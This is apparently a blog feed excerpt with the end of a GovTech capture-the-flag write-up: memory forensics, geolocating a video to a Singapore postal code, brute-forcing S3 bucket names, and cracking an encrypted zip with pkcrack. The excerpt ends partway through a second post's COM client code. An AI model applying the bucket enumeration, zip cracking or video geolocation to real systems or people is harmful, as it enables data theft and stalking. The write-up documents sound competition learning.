&lt;p&gt;After unsucessfully looking through various forensic artefacts (i.e. event logs, registry...), I decided to look at IE history using the volatility tool. We can see that the user is using IE to download Chrome. We finally have a lead to follow.  &lt;/p&gt;
&lt;p&gt;&lt;img alt="IE" src="//limbenjamin.com/media/gtctf_f1_ie.png"&gt;&lt;/p&gt;
&lt;p&gt;Unfortunately, the &lt;code&gt;chromehistory&lt;/code&gt; plugin did not work for me. This is quite common as memory structures and locations may change with every chrome version update. I decided to manually dump the memory of the chrome process and parse the strings from there. The first step is to use the &lt;code&gt;pstree&lt;/code&gt; plugin to get the pid of the process and then use the &lt;code&gt;vaddump&lt;/code&gt; plugin to dump the memory. We cannot use &lt;code&gt;procdump&lt;/code&gt; as it will only dump the process's executable image. The URLs and web page contents are likely in the heap memory. One benefit of using this generic memory dump method is that such methods work across different applications. It will work even if the user uses opera or other obscure browser or application without dedicated plugins.  &lt;/p&gt;
&lt;p&gt;&lt;img alt="chrome" src="//limbenjamin.com/media/gtctf_f2_chrome.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="vaddump" src="//limbenjamin.com/media/gtctf_f3_vaddump.png"&gt;&lt;/p&gt;
&lt;p&gt;Once the memory has been dumped, I used strings to parse both ASCII and unicode strings from the memory and piped it to a file. Searching for http revealed a mediafire URL that didn't really belong, as the rest of the URLs were related to cybersecurity or govtech.  &lt;/p&gt;
&lt;p&gt;&lt;img alt="mediafire" src="//limbenjamin.com/media/gtctf_f4_mediafire.png"&gt;&lt;/p&gt;
&lt;p&gt;Upon downloading the png file, I found that it was a tiny 1 row high PNG file and a color picker eventually revealed that the flag was encoded in the individual RGB values of the image. The flag was indeed hidden in a colourful lane!  &lt;/p&gt;
&lt;p&gt;&lt;img alt="color" src="//limbenjamin.com/media/gtctf_f5_color.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Flag: govtech-csg{m3m0ry_R3dGr33nBlu3z}&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;&lt;a name="osint"&gt;Sounds of freedom!&lt;/a&gt;&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;In a recent raid on a suspected COViD hideout, we found this video in a thumbdrive on-site. We are not sure what this video signifies but we suspect COViD's henchmen might be surveying a potential target site for a biological bomb. We believe that the attack may happen soon. We need your help to identify the water body in this video! This will be a starting point for us to do an area sweep of the vicinity!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;video width="640" height="480" controls src="//limbenjamin.com/media/gtctf_o0__osint-challenge-7.mp4" &gt;&lt;/video&gt;

&lt;p&gt;To me, this was a rather interesting challenge. It is one of the few which does not require any infosecurity knowledge and is fully solvable through observation and logical deduction.  &lt;/p&gt;
&lt;p&gt;The first clue came from the small road and bus stop opposite. The bus stop is clearly a design seen in Singapore and thus we can conclude that the video is shot in Singapore.&lt;/p&gt;
&lt;p&gt;The second clue involved listening to the sounds of freedom, the fighter jets roaring overhead. This suggests that the location is somewhere near the edge of Singapore's airspace, or near one of the airbases.  &lt;/p&gt;
&lt;p&gt;The third clue came in the form of the aircon compressors. This suggests a residential building since commercial buildings normally have centralised air-conditioning. The more "atas" facade also suggests either a condominium or a more premium form of public housing (i.e. HUDC/DBSS).  &lt;/p&gt;
&lt;p&gt;Combined with the fact that this building is directly opposite a park with a pond inside of it, a scroll around on google maps reveal a few locations in Singapore that could fulfil these criteria.  &lt;/p&gt;
&lt;p&gt;&lt;img alt="maps" src="//limbenjamin.com/media/gtctf_o1_maps.png"&gt;&lt;/p&gt;
&lt;p&gt;Bedok Reservoir Park - Quickly eliminated because Bedok Reservoir Road is much wider than the road in the video&lt;br&gt;
Bukit Panjang Park - Eliminated because there are no Condos nearby&lt;br&gt;
Pasir Ris Town Park - Eliminated because there are no bus stops along the road next to the park&lt;br&gt;
Punggol Park - Likely candidate  &lt;/p&gt;
&lt;p&gt;Using Google street view on the 2 bus stops next to the DBSS at Punggol park quickly revealed that one of the bus stops is indeed the location as seen in the video. The video was shot from Parkland Residences Block 475B S(531475) and the postal code of Punggol park is S(538768). Kids, please be mindful before posting your 10 second tiktok videos.  &lt;/p&gt;
&lt;p&gt;&lt;code&gt;Flag: govtech-csg{538768}&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="streetview" src="//limbenjamin.com/media/gtctf_o2_streetview.png"&gt;&lt;/p&gt;
&lt;h2&gt;&lt;a name="cloud"&gt;Find the leaking bucket!&lt;/a&gt;&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;It was made known to us that agents of COViD are exfiltrating data to a hidden S3 bucket in AWS! We do not know the bucket name! One tip from our experienced officers is that bucket naming often uses common words related to the company’s business.&lt;/p&gt;
&lt;p&gt;Do what you can! Find that hidden S3 bucket (in the format “word1-word2-s4fet3ch”) and find out what was exfiltrated! &lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This seemed like a rather simple challenge, at least from the get go.  &lt;code&gt;cewl&lt;/code&gt; is a good tool if you would like to automatically crawl websites for keywords. However, since there are only a few words and some of the words are in image form, I decided to do it manually. I wrote a python script to enumerate all possible word combinations from both the word cloud and the image.  &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt;1&lt;/span&gt;
&lt;span class="normal"&gt;2&lt;/span&gt;
&lt;span class="normal"&gt;3&lt;/span&gt;
&lt;span class="normal"&gt;4&lt;/span&gt;
&lt;span class="normal"&gt;5&lt;/span&gt;
&lt;span class="normal"&gt;6&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;words&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;wireless&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;digital&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;parking&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;data&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;information&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;architecture&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;wifi&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;smartcity&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;computer&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;efficiency&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;technology&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;payment&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;ai&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;fintech&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;analytics&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;applications&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;internet&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;cybersecurity&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;iot&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;innovation&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;systems&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;knowledge&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;communication&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;mobile&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;intelligent&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;safe&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;online&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;technologies&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;the&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;people&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;who&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;are&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;crazy&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;enough&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;to&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;think&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;they&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;can&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;change&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;the&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;world&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;are&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;ones&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;do&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;steve&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;jobs&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;words&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;words&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;k&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;-&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;-&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;s4fet3ch&amp;quot;&lt;/span&gt;
        &lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;I then used &lt;a href="https://github.com/FishermansEnemy/bucket_finder"&gt;bucket finder&lt;/a&gt; to brute force and find the correct S3 bucket.&lt;/p&gt;
&lt;p&gt;&lt;img alt="bucket finder" src="//limbenjamin.com/media/gtctf_c0_bucketfinder.png"&gt;&lt;/p&gt;
&lt;p&gt;Oh shit, why is it encrypted? Interestingly, there seems to be a second encrypted file in there. Well, if we can find an unencrypted version somewhere on the web, maybe we can launch a known plaintext attack?  &lt;/p&gt;
&lt;p&gt;&lt;img alt="stack form" src="//limbenjamin.com/media/gtctf_c1_stackform.png"&gt;&lt;/p&gt;
&lt;p&gt;I then used &lt;a href="https://github.com/keyunluo/pkcrack"&gt;pkcrack&lt;/a&gt; to perform the known plaintext attack. &lt;code&gt;pkcrack&lt;/code&gt; requires us to zip the unencrypted copy using the same zip algorithm as the original encrypted zip file. I have also added a filler flag file named glag.txt just in case it is required.  &lt;/p&gt;
&lt;p&gt;&lt;img alt="zip" src="//limbenjamin.com/media/gtctf_c2_zip.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="pkcrack" src="//limbenjamin.com/media/gtctf_c3_crack.png"&gt;&lt;/p&gt;
&lt;p&gt;Got it!  &lt;/p&gt;
&lt;p&gt;&lt;code&gt;Flag: govtech-csg{EnCrYpT!0n_D0e$_NoT_M3@n_Y0u_aR3_s4f3}&lt;/code&gt; &lt;/p&gt;
&lt;h2&gt;&lt;a name="bonus"&gt;Bonus flag for submitting Awesome Write-up&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Looks like there are more flags?&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Flag: govtech-csg{N5hawwrovddMKXD1xArQ}&lt;/code&gt;&lt;/p&gt;</content><category term="articles"></category><category term="Security"></category></entry><entry><title>Calling IUnknown COM interface</title><link href="https://limbenjamin.com/articles/calling-iunknown-com-interface.html" rel="alternate"></link><published>2020-11-07T12:24:00+08:00</published><updated>2020-11-07T12:24:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2020-11-07:/articles/calling-iunknown-com-interface.html</id><summary type="html">&lt;p&gt;While completing challenge 9 of Flare-On 7, I found a lack of information out there on reverse engineering COM objects. Most tutorials are written from a developer point of view where the Interface Definition Language (IDL) file is available. Reverse engineers don't usually have the luxury and may have to …&lt;/p&gt;</summary><content type="html">&lt;p&gt;While completing challenge 9 of Flare-On 7, I found a lack of information out there on reverse engineering COM objects. Most tutorials are written from a developer point of view where the Interface Definition Language (IDL) file is available. Reverse engineers don't usually have the luxury and may have to write COM clients without any clue as to what functions are exposed and what arguments to pass to the functions. The code snippet below should allow you to load a COM InprocServer object. Do remember to use &lt;code&gt;regsvr32&lt;/code&gt; to register the COM object and to change the CLSID in the code below.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt; 1&lt;/span&gt;
&lt;span class="normal"&gt; 2&lt;/span&gt;
&lt;span class="normal"&gt; 3&lt;/span&gt;
&lt;span class="normal"&gt; 4&lt;/span&gt;
&lt;span class="normal"&gt; 5&lt;/span&gt;
&lt;span class="normal"&gt; 6&lt;/span&gt;
&lt;span class="normal"&gt; 7&lt;/span&gt;
&lt;span class="normal"&gt; 8&lt;/span&gt;
&lt;span class="normal"&gt; 9&lt;/span&gt;
&lt;span class="normal"&gt;10&lt;/span&gt;
&lt;span class="normal"&gt;11&lt;/span&gt;
&lt;span class="normal"&gt;12&lt;/span&gt;
&lt;span class="normal"&gt;13&lt;/span&gt;
&lt;span class="normal"&gt;14&lt;/span&gt;
&lt;span class="normal"&gt;15&lt;/span&gt;
&lt;span class="normal"&gt;16&lt;/span&gt;
&lt;span class="normal"&gt;17&lt;/span&gt;
&lt;span class="normal"&gt;18&lt;/span&gt;
&lt;span class="normal"&gt;19&lt;/span&gt;
&lt;span class="normal"&gt;20&lt;/span&gt;
&lt;span class="normal"&gt;21&lt;/span&gt;
&lt;span class="normal"&gt;22&lt;/span&gt;
&lt;span class="normal"&gt;23&lt;/span&gt;
&lt;span class="normal"&gt;24&lt;/span&gt;
&lt;span class="normal"&gt;25&lt;/span&gt;
&lt;span class="normal"&gt;26&lt;/span&gt;
&lt;span class="normal"&gt;27&lt;/span&gt;
&lt;span class="normal"&gt;28&lt;/span&gt;
&lt;span class="normal"&gt;29&lt;/span&gt;
&lt;span class="normal"&gt;30&lt;/span&gt;
&lt;span class="normal"&gt;31&lt;/span&gt;
&lt;span class="normal"&gt;32&lt;/span&gt;
&lt;span class="normal"&gt;33&lt;/span&gt;
&lt;span class="normal"&gt;34&lt;/span&gt;
&lt;span class="normal"&gt;35&lt;/span&gt;
&lt;span class="normal"&gt;36&lt;/span&gt;
&lt;span class="normal"&gt;37&lt;/span&gt;
&lt;span class="normal"&gt;38&lt;/span&gt;
&lt;span class="normal"&gt;39&lt;/span&gt;
&lt;span class="normal"&gt;40&lt;/span&gt;
&lt;span class="normal"&gt;41&lt;/span&gt;
&lt;span class="normal"&gt;42&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;quot;windows.h&amp;quot;&lt;/span&gt;
&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;ObjBase.h&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;iostream&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;quot;tchar.h&amp;quot;&lt;/span&gt;

&lt;span class="k"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;GUID&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CLSID_SERVER&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xCEEACC6E&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xCCB2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x4C4F&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xbc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xf6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xd2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x17&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x60&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x37&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xa9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xa7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="c1"&gt;//optional. Can use symbolic constant IID_IUnknown&lt;/span&gt;
&lt;span class="k"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;GUID&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CLSID_IUNKOWN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x00000000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x0000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x0000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xc0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x46&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="n"&gt;interface&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IUnKnownClass&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="n"&gt;IUnknown&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;virtual&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;HRESULT&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kr"&gt;__stdcall&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;func1&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;virtual&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;HRESULT&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kr"&gt;__stdcall&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;func2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;z&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;virtual&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;HRESULT&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kr"&gt;__stdcall&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;func3&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;_tmain&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;argc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;_TCHAR&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[])&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;HRESULT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CoInitializeEx&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;COINIT_APARTMENTTHREADED&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;IUnKnownClass&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
